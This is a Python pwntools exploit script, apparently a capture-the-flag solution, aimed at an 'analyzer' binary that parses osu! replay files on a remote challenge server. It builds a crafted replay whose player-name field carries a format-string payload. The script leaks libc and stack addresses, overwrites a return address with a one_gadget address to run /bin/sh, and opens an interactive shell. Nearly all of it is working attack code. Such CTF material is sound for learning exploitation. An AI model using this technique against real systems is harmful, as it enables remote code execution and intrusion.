from pwn import *
## from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7273
elf = context.binary = ELF('./analyzer')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def byte2hex(byte):
if isinstance(byte, bytes) and len(byte) == 1:
high = (byte[0] >> 4) & 0xf
low = byte[0] & 0xf
return f"{high:01x}{low:01x}"
def bytes2hex(byte_data):
if isinstance(byte_data, bytes):
return ''.join(f"{b:02x}" for b in byte_data)
p = connect()
## string ULEB128
## 分为三个部分,每个部分一个字节
## 0x0b string len, string ....
## osr file struct
## 1byte game mode
## 4byte version of the game
## string(0x0b + len(1byte) + 32bytes) osu! beatmap MD5 hash
## string (0x0b + len(1byte) + player name) about player name
## string(0x0b + len(1byte)) osu! replay MD5 hash (includes certain properties of the replay)
## game mode && game version 5bytes
payload = b'\x00\xBE\xB3\x34\x01'
## osu! beatmap MD5 hash 1 + 1 + 32 = 34 bytes
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
## string (0x0b + len(1byte) + player name) about player name
## payload += b'\x0B\x04\x6E\x79\x64\x6e'
format_string = b"%p-%pA" + b"%p-" * 3 + b'BBB%p'
payload += b'\x0B\x14' + format_string
## hash2 replay MD5 hash
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
## consume_bytes(&input_data_hex2bin_ptr, &size, 10);
## all short(2 bytes)
## Number of 300s
## Number of 100s in standard, 150s in Taiko, 100s in CTB, 100s in mania
## Number of 50s in standard, small fruit in CTB, 50s in mania
## Number of Gekis in standard, Max 300s in mania
## Number of Katus in standard, 200s in mania
payload += b'\x42' * 10
## Number of misses short
payload += b'\x00' * 2 # 好耶 0 miss
## print(len(payload))
payload = bytes2hex(payload)
## g(p)
sla("./analyzer):",payload)
ru("A")
libc_base = int(r(14),16) - (0x7f5e10b14887 - 0x7f5e10a00000)
ru("BBB")
return_addr = int(r(14),16) - (0x7ffeb990b0e8 - 0x7ffeb990ae68) # sub_function return_addr()
success(f"libc_base ->{hex(libc_base)}")
success(f"return_addr ->{hex(return_addr)}")
ret = 0x000000000040101a # ret
rdi = libc_base + 0x000000000002a3e5 #c pop rdi; ret
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
payload = b'\x00\xBE\xB3\x34\x01'
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
## pwndbg> fmtarg 0x7ffe22573f60
## The index of format argument : 15 ("\%14$p")
## pwndbg>
## 0xebc85 execve("/bin/sh", r10, rdx)
## constraints:
## address rbp-0x78 is writable
## [r10] == NULL || r10 == NULL
## [rdx] == NULL || rdx == NULL
ogg = libc_base + 0xebc85
format_string = fmtstr_payload(14,{return_addr:ogg},write_size='short')
print(len(format_string))
payload += b'\x0B\x40' + format_string
payload += b''.join([
b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
b'\x32\x65'])
payload += b'\x42' * 10
payload += b'\x00' * 2
payload = bytes2hex(payload)
sla("./analyzer):",payload)
p.interactive()